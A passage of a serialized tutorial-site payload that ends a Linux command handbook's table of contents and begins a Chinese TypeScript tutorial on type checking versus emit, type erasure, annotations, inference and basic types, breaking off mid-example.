权限（namei\u002Fid）","。七条命令走完还定位不到，才需要 ",[22,96236,95014],{},[22,96238,96239],{},"tcpdump"," 这种深度工具。本手册第十七张表就是这张检查单的落地版本。",[595,96242,96243],{},"html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}",{"title":314,"searchDepth":341,"depth":341,"links":96245},[96246,96254,96268,96277,96286,96297,96305,96313,96322,96330,96339,96347,96355,96364,96376,96387,96399],{"id":74430,"depth":341,"text":74431,"children":96247},[96248,96249,96250,96251,96252,96253],{"id":74458,"depth":357,"text":74459},{"id":74590,"depth":357,"text":74591},{"id":74707,"depth":357,"text":74708},{"id":74800,"depth":357,"text":74801},{"id":74972,"depth":357,"text":74973},{"id":75156,"depth":357,"text":75156},{"id":75193,"depth":341,"text":75194,"children":96255},[96256,96257,96258,96259,96260,96261,96262,96263,96264,96265,96266,96267],{"id":75211,"depth":357,"text":75212},{"id":75576,"depth":357,"text":75577},{"id":75617,"depth":357,"text":75618},{"id":75681,"depth":357,"text":75682},{"id":75749,"depth":357,"text":75750},{"id":75795,"depth":357,"text":75796},{"id":75843,"depth":357,"text":75844},{"id":75932,"depth":357,"text":75933},{"id":76010,"depth":357,"text":76011},{"id":76166,"depth":357,"text":76167},{"id":76323,"depth":357,"text":76324},{"id":76529,"depth":357,"text":75156},{"id":76589,"depth":341,"text":76590,"children":96269},[96270,96271,96272,96273,96274,96275,96276],{"id":76603,"depth":357,"text":76604},{"id":76746,"depth":357,"text":76747},{"id":76813,"depth":357,"text":76814},{"id":76931,"depth":357,"text":76932},{"id":77178,"depth":357,"text":77179},{"id":77210,"depth":357,"text":77211},{"id":77324,"depth":357,"text":75156},{"id":77369,"depth":341,"text":77370,"children":96278},[96279,96280,96281,96282,96283,96284,96285],{"id":77388,"depth":357,"text":77389},{"id":77650,"depth":357,"text":77651},{"id":77745,"depth":357,"text":77746},{"id":77853,"depth":357,"text":77854},{"id":77897,"depth":357,"text":77898},{"id":77950,"depth":357,"text":77951},{"id":78034,"depth":357,"text":75156},{"id":78094,"depth":341,"text":78095,"children":96287},[96288,96289,96290,96291,96292,96293,96294,96295,96296],{"id":78111,"depth":357,"text":78112},{"id":78370,"depth":357,"text":78371},{"id":78557,"depth":357,"text":78558},{"id":78710,"depth":357,"text":78711},{"id":78878,"depth":357,"text":78879},{"id":79170,"depth":357,"text":79171},{"id":79277,"depth":357,"text":79278},{"id":79380,"depth":357,"text":79381},{"id":79577,"depth":357,"text":75156},{"id":79635,"depth":341,"text":79636,"children":96298},[96299,96300,96301,96302,96303,96304],{"id":79682,"depth":357,"text":79683},{"id":79975,"depth":357,"text":79976},{"id":80355,"depth":357,"text":80356},{"id":80447,"depth":357,"text":80448},{"id":80568,"depth":357,"text":80569},{"id":80704,"depth":357,"text":75156},{"id":80769,"depth":341,"text":80770,"children":96306},[96307,96308,96309,96310,96311,96312],{"id":80812,"depth":357,"text":80813},{"id":81213,"depth":357,"text":81214},{"id":81483,"depth":357,"text":81484},{"id":81758,"depth":357,"text":81759},{"id":81924,"depth":357,"text":81925},{"id":82085,"depth":357,"text":75156},{"id":82164,"depth":341,"text":82165,"children":96314},[96315,96316,96317,96318,96319,96320,96321],{"id":82192,"depth":357,"text":82193},{"id":82352,"depth":357,"text":82353},{"id":82435,"depth":357,"text":82436},{"id":82616,"depth":357,"text":82617},{"id":82764,"depth":357,"text":82765},{"id":82895,"depth":357,"text":82896},{"id":83007,"depth":357,"text":75156},{"id":83085,"depth":341,"text":83086,"children":96323},[96324,96325,96326,96327,96328,96329],{"id":83129,"depth":357,"text":83130},{"id":83318,"depth":357,"text":83319},{"id":83540,"depth":357,"text":83541},{"id":83651,"depth":357,"text":83652},{"id":83772,"depth":357,"text":83773},{"id":83906,"depth":357,"text":75156},{"id":83976,"depth":341,"text":83977,"children":96331},[96332,96333,96334,96335,96336,96337,96338],{"id":84001,"depth":357,"text":84002},{"id":84420,"depth":357,"text":84421},{"id":84511,"depth":357,"text":84512},{"id":84866,"depth":357,"text":84867},{"id":85200,"depth":357,"text":85201},{"id":85274,"depth":357,"text":85275},{"id":85370,"depth":357,"text":75156},{"id":85441,"depth":341,"text":85442,"children":96340},[96341,96342,96343,96344,96345,96346],{"id":85459,"depth":357,"text":85460},{"id":85728,"depth":357,"text":85729},{"id":86105,"depth":357,"text":86106},{"id":86346,"depth":357,"text":86347},{"id":86616,"depth":357,"text":86617},{"id":86732,"depth":357,"text":75156},{"id":86787,"depth":341,"text":86788,"children":96348},[96349,96350,96351,96352,96353,96354],{"id":86801,"depth":357,"text":86802},{"id":86899,"depth":357,"text":86900},{"id":87061,"depth":357,"text":87062},{"id":87236,"depth":357,"text":87237},{"id":87310,"depth":357,"text":87311},{"id":87665,"depth":357,"text":75156},{"id":87733,"depth":341,"text":87734,"children":96356},[96357,96358,96359,96360,96361,96362,96363],{"id":87756,"depth":357,"text":87757},{"id":87944,"depth":357,"text":87945},{"id":88248,"depth":357,"text":88249},{"id":88429,"depth":357,"text":88430},{"id":88764,"depth":357,"text":88765},{"id":89175,"depth":357,"text":89176},{"id":89337,"depth":357,"text":75156},{"id":89430,"depth":341,"text":89431,"children":96365},[96366,96367,96368,96369,96370,96371,96372,96373,96374,96375],{"id":89446,"depth":357,"text":89447},{"id":89532,"depth":357,"text":89533},{"id":89720,"depth":357,"text":89721},{"id":89807,"depth":357,"text":89808},{"id":89962,"depth":357,"text":89963},{"id":90130,"depth":357,"text":90131},{"id":90455,"depth":357,"text":90456},{"id":90586,"depth":357,"text":90587},{"id":90706,"depth":357,"text":90707},{"id":90834,"depth":357,"text":75156},{"id":90885,"depth":341,"text":90886,"children":96377},[96378,96379,96380,96381,96382,96383,96384,96385,96386],{"id":90896,"depth":357,"text":90897},{"id":91086,"depth":357,"text":91087},{"id":91174,"depth":357,"text":91175},{"id":91459,"depth":357,"text":91460},{"id":91595,"depth":357,"text":91596},{"id":91773,"depth":357,"text":91774},{"id":92016,"depth":357,"text":92017},{"id":92120,"depth":357,"text":92121},{"id":92268,"depth":357,"text":75156},{"id":92334,"depth":341,"text":92335,"children":96388},[96389,96390,96391,96392,96393,96394,96395,96397,96398],{"id":92346,"depth":357,"text":92347},{"id":92489,"depth":357,"text":92490},{"id":92675,"depth":357,"text":92676},{"id":92816,"depth":357,"text":92817},{"id":92997,"depth":357,"text":92998},{"id":93330,"depth":357,"text":93331},{"id":93521,"depth":357,"text":96396},"7. [[ ]] 与 ，以及数组",{"id":93897,"depth":357,"text":93898},{"id":94159,"depth":357,"text":75156},{"id":94233,"depth":341,"text":94234,"children":96400},[96401,96402,96403,96404,96405,96406,96407,96408,96409,96410],{"id":94244,"depth":357,"text":94245},{"id":94420,"depth":357,"text":94421},{"id":94566,"depth":357,"text":94567},{"id":94754,"depth":357,"text":94755},{"id":94885,"depth":357,"text":94886},{"id":95003,"depth":357,"text":95004},{"id":95167,"depth":357,"text":95168},{"id":95351,"depth":357,"text":95352},{"id":95705,"depth":357,"text":95706},{"id":96227,"depth":357,"text":96227},"linux","\u002Fimg\u002Flinux-cover.svg","Linux 日常运维与开发常用命令手册：文件、权限、查找、文本处理、进程、服务、网络、磁盘、包管理、Shell 与排障，17 章按场景速查，配可交互的模拟终端示例。",{},"\u002Ftutorials\u002Flinux",{"title":74425,"description":96413},{"loc":96415},"tutorials\u002Flinux","1LIWdJpxoVBXK9yM6RY4BBGy-0YaeXT25FlVF588ews",{"id":96421,"title":96422,"body":96423,"category":5207,"cover":108406,"date":61731,"description":108407,"extension":4549,"meta":108408,"navigation":997,"path":108409,"seo":108410,"sitemap":108411,"stem":108412,"__hash__":108413},"tutorials\u002Ftutorials\u002Fts.md","TypeScript 教程：从类型标注到工程化",{"type":8,"value":96424,"toc":108198},[96425,96429,96440,96444,96455,96481,96487,96533,96549,96553,96581,96584,96619,96623,96630,96697,96703,96706,96714,96732,96735,96738,96837,96864,96867,96870,96946,96957,96963,96973,97038,97044,97057,97104,97110,97114,97117,97127,97145,97159,97162,97196,97199,97211,97340,97351,97358,97368,97445,97469,97525,97531,97549,97604,97613,97619,97627,97682,97790,97822,97828,97837,97933,97945,97955,97960,98022,98065,98069,98078,98086,98090,98097,98199,98202,98210,98213,98296,98308,98389,98395,98404,98524,98532,98537,98594,98609,98613,98616,98704,98711,98714,98717,98859,98866,98870,98877,98885,98958,98969,98983,98991,99074,99086,99090,99094,99105,99328,99368,99375,99396,99529,99556,99562,99570,99573,99582,99691,99698,99700,99703,99806,99812,99815,99821,99933,99943,99947,99951,99957,100073,100079,100085,100112,100212,100221,100229,100261,100265,100275,100279,100362,100381,100386,100421,100426,100431,100541,100546,100551,100568,100635,100638,100664,100787,100801,100809,100822,100963,100977,100984,100991,101106,101109,101113,101116,101135,101147,101154,101161,101232,101256,101268,101275,101289,101337,101340,101344,101350,101366,101434,101459,101465,101477,101554,101560,101566,101575,101684,101715,101722,101734,101737,101745,101801,101808,101888,101901,101904,101929,101940,101944,101950,102029,102043,102050,102060,102135,102138,102144,102154,102211,102214,102218,102237,102248,102255,102428,102444,102448,102454,102513,102520,102526,102538,102672,102678,102683,102757,102763,102770,102780,102871,102890,102898,102901,102969,102977,102981,102993,103082,103091,103097,103107,103114,103119,103224,103240,103368,103391,103395,103402,103410,103545,103551,103554,103560,103652,103655,103659,103678,103685,103695,103698,103701,103939,103955,103958,103961,104074,104089,104095,104101,104251,104262,104268,104276,104329,104348,104352,104355,104462,104482,104486,104493,104497,104509,104521,104796,104805,104814,104823,105022,105037,105049,105056,105263,105275,105286,105289,105508,105517,105524,105535,105648,105658,105665,105670,105774,105784,105787,105797,105804,105811,105815,105821,105892,105929,105935,105947,106080,106085,106089,106096,106265,106277,106280,106290,106300,106317,106323,106335,106372,106393,106399,106419,106488,106496,106501,106575,106593,106603,106606,106637,106650,106653,106663,106701,106704,106708,106746,106750,106758,106761,106799,106824,106864,106872,106875,106935,106955,106961,106971,107080,107103,107112,107162,107168,107203,107209,107216,107236,107252,107256,107265,107269,107273,107276,107370,107386,107392,107405,107436,107442,107446,107467,107474,107508,107512,107519,107572,107582,107588,107626,107633,107646,107650,107679,107688,107722,107726,107733,107737,107741,107963,107966,107970,107988,108004,108008,108025,108029,108035,108148,108176,108179,108195],[48,96426,96428],{"id":96427},"一typescript-是什么类型检查与转译是两件事","一、TypeScript 是什么：类型检查与转译是两件事",[11,96430,96431,96432,96435,96436,96439],{},"先纠正一句最流行的口号。人们说「TypeScript 是 JavaScript 的超集」，这话对了一半：",[17,96433,96434],{},"语法上","它确实是超集——任何合法的 JS 都是合法的 TS，你只是在 JS 之上加了一层可以写的类型标注。但 TS 不是「多了一套新语法能做的事」，运行时它",[17,96437,96438],{},"不提供任何 JS 没有的能力","。它做的事情只有一件额外的：在你运行代码之前，多问一句「这个类型对得上吗」。",[53,96441,96443],{"id":96442},"tsc-到底干了两件事","tsc 到底干了两件事",[11,96445,96446,96447,96450,96451,96454],{},"命令行里敲 ",[22,96448,96449],{},"tsc","，它其实同时在做两件",[17,96452,96453],{},"互相独立","的事：",[1659,96456,96457,96466],{},[1662,96458,96459,96462,96463,96465],{},[17,96460,96461],{},"类型检查","：读你的 ",[22,96464,35388],{},"，对照类型规则挑毛病，有问题就打印错误。",[1662,96467,96468,96471,96472,96474,96475,96477,96478,161],{},[17,96469,96470],{},"转译（emit）","：把 ",[22,96473,35388],{}," 里的类型全部抹掉，再按 ",[22,96476,6384],{}," 把新语法降级，输出成一份 ",[22,96479,96480],{},".js",[11,96482,96483,96484,161],{},"关键认知是：",[17,96485,96486],{},"这两件事的结论彼此不影响",[308,96488,96490],{"className":5205,"code":96489,"language":5207,"meta":314,"style":314},"\u002F\u002F 这份代码有类型错误，但它照样会被转译出 .js\nlet n: number = 'hello'   \u002F\u002F tsc 报错：Type 'string' is not assignable to type 'number'\nconsole.log(n.toUpperCase())  \u002F\u002F 运行时 n 其实是字符串，这行反而能跑\n",[22,96491,96492,96497,96516],{"__ignoreMap":314},[331,96493,96494],{"class":333,"line":334},[331,96495,96496],{"class":1003},"\u002F\u002F 这份代码有类型错误，但它照样会被转译出 .js\n",[331,96498,96499,96501,96503,96505,96508,96510,96513],{"class":333,"line":341},[331,96500,18926],{"class":616},[331,96502,28036],{"class":337},[331,96504,1180],{"class":616},[331,96506,96507],{"class":344}," number",[331,96509,957],{"class":616},[331,96511,96512],{"class":365}," 'hello'",[331,96514,96515],{"class":1003},"   \u002F\u002F tsc 报错：Type 'string' is not assignable to type 'number'\n",[331,96517,96518,96520,96522,96525,96527,96530],{"class":333,"line":357},[331,96519,28055],{"class":337},[331,96521,3533],{"class":501},[331,96523,96524],{"class":337},"(n.",[331,96526,65555],{"class":501},[331,96528,96529],{"class":337},"())  ",[331,96531,96532],{"class":1003},"\u002F\u002F 运行时 n 其实是字符串，这行反而能跑\n",[11,96534,96535,96537,96538,96540,96541,96544,96545,96548],{},[22,96536,96449],{}," 会一边打印那条错误、一边把 ",[22,96539,96480],{}," 生成出来（除非你开了 ",[22,96542,96543],{},"noEmitOnError","）。也就是说",[17,96546,96547],{},"类型报错拦不住转译","——这跟编译型语言「语法不过就产不出二进制」的直觉完全不同。理解了这点，后面很多「为什么有红波浪线还能跑起来」的困惑就都通了。",[53,96550,96552],{"id":96551},"为什么运行时不需要-typescript","为什么运行时不需要 TypeScript",[11,96554,96555,96556,96559,96560,96562,96563,96566,96567,272,96570,272,96573,272,96576,272,96578,96580],{},"浏览器和 Node ",[17,96557,96558],{},"从来不认识 TypeScript","。你发出去的、被执行的，永远是类型被删光之后的 JS。类型只活在你写代码和 ",[22,96561,96449],{},"\u002F构建工具检查的那几分钟里，从不出现在最终的产物中。这条机制有个正式名字：",[17,96564,96565],{},"类型擦除（type erasure）","——转译时所有 ",[22,96568,96569],{},": number",[22,96571,96572],{},"interface",[22,96574,96575],{},"\u003CT>",[22,96577,73430],{},[22,96579,1150],{}," 都会被原样撕掉，留下的就是等价 JS。",[11,96582,96583],{},"由此推出三条实践后果，值得现在就记住：",[1773,96585,96586,96597,96613],{},[1662,96587,96588,322,96591,96593,96594,96596],{},[17,96589,96590],{},"类型错了不等于程序出错",[22,96592,96449],{}," 报红，程序可能照跑；",[22,96595,96449],{}," 全绿，程序也可能崩——因为类型只保证「标注自洽」，不保证「运行时真实」。",[1662,96598,96599,96602,96603,96606,96607,96609,96610,96612],{},[17,96600,96601],{},"泛型、接口、类型别名在运行时不存在","：你不能 ",[22,96604,96605],{},"if (x is User)"," 里靠 ",[22,96608,68033],{}," 这个 type 判断，type 是编译期的，",[22,96611,68508],{}," 只认 class 这种运行时的东西（第七章展开）。",[1662,96614,96615,96618],{},[17,96616,96617],{},"别指望类型能在运行时保护你","：外部数据（接口返回、用户输入）永远是「未经检验」的，类型标注只是你对编译器许的愿，编译器不会替你去核实网络回来的 JSON（第十五、十七章会反复强调）。",[53,96620,96622],{"id":96621},"那-ts-到底图什么","那 TS 到底图什么",[11,96624,96625,96626,96629],{},"既然运行时无非就是 JS，为什么要多这一层？答案全在",[17,96627,96628],{},"写代码的那段时间","里：",[57,96631,96632,96642],{},[60,96633,96634],{},[63,96635,96636,96639],{},[66,96637,96638],{},"你得到的",[66,96640,96641],{},"从哪来",[79,96643,96644,96655,96669,96677,96685],{},[63,96645,96646,96649],{},[84,96647,96648],{},"自动补全",[84,96650,96651,96652,96654],{},"编译器知道 ",[22,96653,63603],{}," 后面能接什么",[63,96656,96657,96660],{},[84,96658,96659],{},"提前暴露错误",[84,96661,96662,96663,32614,96665,96668],{},"拼错属性名、少传参数、",[22,96664,5858],{},[22,96666,96667],{},".map","，写的时候就红",[63,96670,96671,96674],{},[84,96672,96673],{},"安全重构",[84,96675,96676],{},"改一个字段名，所有用到它的地方全变红，一个不漏",[63,96678,96679,96682],{},[84,96680,96681],{},"类型即文档",[84,96683,96684],{},"函数签名就是最准的说明书，不会像注释那样过期",[63,96686,96687,96690],{},[84,96688,96689],{},"接住第三方库",[84,96691,96692,96693,96696],{},"有 ",[22,96694,96695],{},".d.ts"," 声明的库，你在编辑器里就能看见它的全部 API",[11,96698,4598,96699,96702],{},[17,96700,96701],{},"TS 把「运行时才炸的 bug」往前挪到「编辑时就红」","。它买的是确定性，不是性能，也不是新能力。",[11,96704,96705],{},"本章没有示例可点，因为这一章讲的是「转译」这个概念本身，而转译发生在构建阶段。从第二章起，凡是「点得动、看得出区别」的主题都会配可运行示例。",[48,96707,96709,96710,96713],{"id":96708},"二第一个类型错误注解语法-t-与类型推断","二、第一个类型错误：注解语法 ",[22,96711,96712],{},": T"," 与类型推断",[11,96715,96716,96717,96719,96720,96723,96724,96727,96728,96731],{},"TS 最核心的动作就一个：给一个值「说出它的类型」。写 ",[22,96718,96712],{}," 叫",[17,96721,96722],{},"类型注解（annotation）","，但你会发现——",[17,96725,96726],{},"大多数时候你根本不写它","，因为 TS 会自己猜，这个猜叫",[17,96729,96730],{},"类型推断（inference）","。这门语言的体验好不好，八成取决于你会不会跟推断打交道。",[53,96733,96734],{"id":96734},"注解语法长什么样",[11,96736,96737],{},"类型跟在冒号后面，出现在四个高频位置：",[308,96739,96741],{"className":5205,"code":96740,"language":5207,"meta":314,"style":314},"let count: number = 0            \u002F\u002F 变量：值前面\nfunction add(a: number, b: number): number {   \u002F\u002F 参数：名字后面；返回值：括号后面\n  return a + b\n}\nconst users: string[] = ['a', 'b']  \u002F\u002F 数组：元素类型后面加 []\n",[22,96742,96743,96760,96794,96804,96808],{"__ignoreMap":314},[331,96744,96745,96747,96749,96751,96753,96755,96757],{"class":333,"line":334},[331,96746,18926],{"class":616},[331,96748,18074],{"class":337},[331,96750,1180],{"class":616},[331,96752,96507],{"class":344},[331,96754,957],{"class":616},[331,96756,680],{"class":344},[331,96758,96759],{"class":1003},"            \u002F\u002F 变量：值前面\n",[331,96761,96762,96764,96766,96768,96770,96772,96774,96776,96778,96780,96782,96784,96786,96788,96791],{"class":333,"line":341},[331,96763,3047],{"class":616},[331,96765,28251],{"class":501},[331,96767,966],{"class":337},[331,96769,30],{"class":2472},[331,96771,1180],{"class":616},[331,96773,96507],{"class":344},[331,96775,409],{"class":337},[331,96777,22158],{"class":2472},[331,96779,1180],{"class":616},[331,96781,96507],{"class":344},[331,96783,1351],{"class":337},[331,96785,1180],{"class":616},[331,96787,96507],{"class":344},[331,96789,96790],{"class":337}," {   ",[331,96792,96793],{"class":1003},"\u002F\u002F 参数：名字后面；返回值：括号后面\n",[331,96795,96796,96798,96800,96802],{"class":333,"line":357},[331,96797,1633],{"class":616},[331,96799,31001],{"class":337},[331,96801,12714],{"class":616},[331,96803,60756],{"class":337},[331,96805,96806],{"class":333,"line":371},[331,96807,459],{"class":337},[331,96809,96810,96812,96815,96817,96820,96822,96824,96826,96828,96830,96832,96834],{"class":333,"line":384},[331,96811,951],{"class":616},[331,96813,96814],{"class":344}," users",[331,96816,1180],{"class":616},[331,96818,96819],{"class":344}," string",[331,96821,63408],{"class":337},[331,96823,518],{"class":616},[331,96825,1108],{"class":337},[331,96827,9298],{"class":365},[331,96829,409],{"class":337},[331,96831,9303],{"class":365},[331,96833,67196],{"class":337},[331,96835,96836],{"class":1003},"\u002F\u002F 数组：元素类型后面加 []\n",[11,96838,96839,96840,96843,96844,12247,96847,96849,96850,96852,96853,4839,96856,96859,96860,96863],{},"参数必须",[17,96841,96842],{},"逐个","标注，",[22,96845,96846],{},"function add(a, b: number)",[22,96848,30],{}," 不会自动继承 ",[22,96851,22158],{}," 的类型，它会退回隐式 ",[22,96854,96855],{},"any",[22,96857,96858],{},"noImplicitAny"," 开着的严格模式下这里就会报错）。返回值可以不写让编译器推断，但",[17,96861,96862],{},"导出的公共函数最好显式写","——这样改内部实现时调用方不受影响，接口是一份契约。",[53,96865,96866],{"id":96866},"为什么有推断你还写注解",[11,96868,96869],{},"因为推断是有方向、有极限的，注解是你对编译器的一次「纠偏」：",[308,96871,96873],{"className":5205,"code":96872,"language":5207,"meta":314,"style":314},"let x = 'hello'      \u002F\u002F 推断成 string（注意：不是字面量类型，见第五章）\nconst y = 'hello'    \u002F\u002F 推断成 'hello'（字面量窄化，const 更精确）\n\nfunction parse(input: string) {   \u002F\u002F 参数不标就报错，所以必须写\n  return JSON.parse(input)        \u002F\u002F 返回值被推断成 any（JSON.parse 的返回是 any）\n}\n",[22,96874,96875,96888,96901,96905,96926,96942],{"__ignoreMap":314},[331,96876,96877,96879,96881,96883,96885],{"class":333,"line":334},[331,96878,18926],{"class":616},[331,96880,66273],{"class":337},[331,96882,518],{"class":616},[331,96884,96512],{"class":365},[331,96886,96887],{"class":1003},"      \u002F\u002F 推断成 string（注意：不是字面量类型，见第五章）\n",[331,96889,96890,96892,96894,96896,96898],{"class":333,"line":341},[331,96891,951],{"class":616},[331,96893,63083],{"class":344},[331,96895,957],{"class":616},[331,96897,96512],{"class":365},[331,96899,96900],{"class":1003},"    \u002F\u002F 推断成 'hello'（字面量窄化，const 更精确）\n",[331,96902,96903],{"class":333,"line":357},[331,96904,998],{"emptyLinePlaceholder":997},[331,96906,96907,96909,96912,96914,96916,96918,96920,96923],{"class":333,"line":371},[331,96908,3047],{"class":616},[331,96910,96911],{"class":501}," parse",[331,96913,966],{"class":337},[331,96915,19733],{"class":2472},[331,96917,1180],{"class":616},[331,96919,96819],{"class":344},[331,96921,96922],{"class":337},") {   ",[331,96924,96925],{"class":1003},"\u002F\u002F 参数不标就报错，所以必须写\n",[331,96927,96928,96930,96932,96934,96936,96939],{"class":333,"line":384},[331,96929,1633],{"class":616},[331,96931,21014],{"class":344},[331,96933,1192],{"class":337},[331,96935,21019],{"class":501},[331,96937,96938],{"class":337},"(input)        ",[331,96940,96941],{"class":1003},"\u002F\u002F 返回值被推断成 any（JSON.parse 的返回是 any）\n",[331,96943,96944],{"class":333,"line":397},[331,96945,459],{"class":337},[11,96947,96948,32609,96950,96952,96953,96956],{},[22,96949,68917],{},[22,96951,96855],{},"——这就是「any 顺着返回值泄漏」的源头之一（第十七章专门讲）。你在这里给它补一个返回注解 ",[22,96954,96955],{},": User","，就把不确定性挡在了函数边界内。",[53,96958,96960,96962],{"id":96959},"let-推断成联合类型",[22,96961,18926],{}," 推断成联合类型",[11,96964,96965,96966,96968,96969,96972],{},"TS 对 ",[22,96967,18926],{}," 有个聪明的默认：如果声明时给了初值、之后又可能改成别的类型，它会推断成一个",[17,96970,96971],{},"能容纳所有写入值的联合类型","，而不是死盯初值：",[308,96974,96976],{"className":5205,"code":96975,"language":5207,"meta":314,"style":314},"let id = 1          \u002F\u002F 推断 number；随后 id = 'a' 会报错\nlet flag = true     \u002F\u002F 推断 boolean\n\n\u002F\u002F 但若你压根没给初值，它就退化成 any 或需要注解\nlet name            \u002F\u002F 无初值 + 严格模式：隐式 any，报错\nlet name2: string   \u002F\u002F 补注解即可\n",[22,96977,96978,96991,97005,97009,97014,97024],{"__ignoreMap":314},[331,96979,96980,96982,96984,96986,96988],{"class":333,"line":334},[331,96981,18926],{"class":616},[331,96983,73927],{"class":337},[331,96985,518],{"class":616},[331,96987,30777],{"class":344},[331,96989,96990],{"class":1003},"          \u002F\u002F 推断 number；随后 id = 'a' 会报错\n",[331,96992,96993,96995,96998,97000,97002],{"class":333,"line":341},[331,96994,18926],{"class":616},[331,96996,96997],{"class":337}," flag ",[331,96999,518],{"class":616},[331,97001,13639],{"class":344},[331,97003,97004],{"class":1003},"     \u002F\u002F 推断 boolean\n",[331,97006,97007],{"class":333,"line":357},[331,97008,998],{"emptyLinePlaceholder":997},[331,97010,97011],{"class":333,"line":371},[331,97012,97013],{"class":1003},"\u002F\u002F 但若你压根没给初值，它就退化成 any 或需要注解\n",[331,97015,97016,97018,97021],{"class":333,"line":384},[331,97017,18926],{"class":616},[331,97019,97020],{"class":337}," name            ",[331,97022,97023],{"class":1003},"\u002F\u002F 无初值 + 严格模式：隐式 any，报错\n",[331,97025,97026,97028,97031,97033,97035],{"class":333,"line":397},[331,97027,18926],{"class":616},[331,97029,97030],{"class":337}," name2",[331,97032,1180],{"class":616},[331,97034,96819],{"class":344},[331,97036,97037],{"class":1003},"   \u002F\u002F 补注解即可\n",[53,97039,97041,97043],{"id":97040},"const-的字面量窄化",[22,97042,951],{}," 的字面量窄化",[11,97045,97046,97048,97049,97052,97053,655,97055,322],{},[22,97047,951],{}," 因为不能再改，编译器就敢把它的类型收成",[17,97050,97051],{},"那个具体的字面量","，而不是宽泛的 ",[22,97054,8909],{},[22,97056,62821],{},[308,97058,97060],{"className":5205,"code":97059,"language":5207,"meta":314,"style":314},"const dir = 'up'      \u002F\u002F 类型是 'up'（字面量类型），不是 string\nlet dir2 = 'up'       \u002F\u002F 类型是 string\nconst num = 42        \u002F\u002F 类型是 42\n",[22,97061,97062,97076,97090],{"__ignoreMap":314},[331,97063,97064,97066,97068,97070,97073],{"class":333,"line":334},[331,97065,951],{"class":616},[331,97067,78514],{"class":344},[331,97069,957],{"class":616},[331,97071,97072],{"class":365}," 'up'",[331,97074,97075],{"class":1003},"      \u002F\u002F 类型是 'up'（字面量类型），不是 string\n",[331,97077,97078,97080,97083,97085,97087],{"class":333,"line":341},[331,97079,18926],{"class":616},[331,97081,97082],{"class":337}," dir2 ",[331,97084,518],{"class":616},[331,97086,97072],{"class":365},[331,97088,97089],{"class":1003},"       \u002F\u002F 类型是 string\n",[331,97091,97092,97094,97097,97099,97101],{"class":333,"line":357},[331,97093,951],{"class":616},[331,97095,97096],{"class":344}," num",[331,97098,957],{"class":616},[331,97100,64709],{"class":344},[331,97102,97103],{"class":1003},"        \u002F\u002F 类型是 42\n",[11,97105,97106,97107,161],{},"这条差异在第五章「可辨识联合」和第九章「字面量类型」里会起到关键作用，先埋个印象：",[17,97108,97109],{},"const 帮你把类型收得更窄，窄到具体值",[4748,97111],{"height":40485,"src":97112,"title":97113},"\u002Ftutorials\u002Fts\u002Fdemos\u002F02-annotations.html","示例 02：注解语法与类型推断——哪些错会被挑出来",[53,97115,97116],{"id":97116},"函数返回值的推断",[11,97118,97119,97120,97122,97123,97126],{},"不写返回类型时，TS 看 ",[22,97121,10859],{}," 后面到底吐什么来反推。推断通常很准，但有个坑：",[17,97124,97125],{},"递归函数不写返回类型可能推错","（编译器还没算完函数体就遇到自己调用自己，会要求你显式标注）。公共 API 上老老实实写返回类型，既是自我约束，也是给下游的一份稳定契约。",[48,97128,97130,97131,1901,97133,1901,97135,97137,97138,1901,97140,1901,97143],{"id":97129},"三基础类型string-number-boolean数组与元组枚举以及-any-unknown-never","三、基础类型：",[22,97132,8909],{},[22,97134,62821],{},[22,97136,8922],{},"、数组与元组、枚举，以及 ",[22,97139,96855],{},[22,97141,97142],{},"unknown",[22,97144,55488],{},[11,97146,97147,97148,97151,97152,655,97154,655,97156,97158],{},"这一章把 TS 里最常被写错、也最常被误解的几种类型过一遍。JS 教程第三章已经讲清楚了 JS 世界里的八种值，所以这里",[17,97149,97150],{},"只讲类型系统那一层","：TS 怎么描述它们，以及三个特殊类型 ",[22,97153,96855],{},[22,97155,97142],{},[22,97157,55488],{}," 到底各管什么。",[53,97160,97161],{"id":97161},"三种原始类型没有惊喜",[11,97163,97164,272,97166,272,97168,97170,97171,97173,97174,97177,97178,655,97180,655,97182,97184,97185,97188,97189,161,97191,2012,97193,97195],{},[22,97165,8909],{},[22,97167,62821],{},[22,97169,8922],{}," 就是 JS 的字符串、数字、布尔——注意 TS 的 ",[22,97172,62821],{}," 和 JS 一样",[17,97175,97176],{},"不区分整数与浮点","，没有 ",[22,97179,39020],{},[22,97181,40110],{},[22,97183,18007],{}," 这些。别下意识写 ",[22,97186,97187],{},"let age: int","，那是 Java\u002FC# 的手感，TS 里只有 ",[22,97190,62821],{},[22,97192,38066],{},[22,97194,62830],{}," 也各有对应类型，用得少。",[53,97197,97198],{"id":97198},"数组与元组",[11,97200,66102,97201,6745,97204,97207,97208,97210],{},[22,97202,97203],{},"T[]",[22,97205,97206],{},"Array\u003CT>"," 写，两种等价，",[22,97209,97206],{}," 在类型复杂时更好读：",[308,97212,97214],{"className":5205,"code":97213,"language":5207,"meta":314,"style":314},"let list: number[] = [1, 2, 3]\nlet list2: Array\u003Cnumber> = [1, 2, 3]   \u002F\u002F 完全等价\n\nlet pair: [string, number] = ['id', 1]  \u002F\u002F 元组：位置和类型都固定\npair = [1, 'id']                        \u002F\u002F ✗ 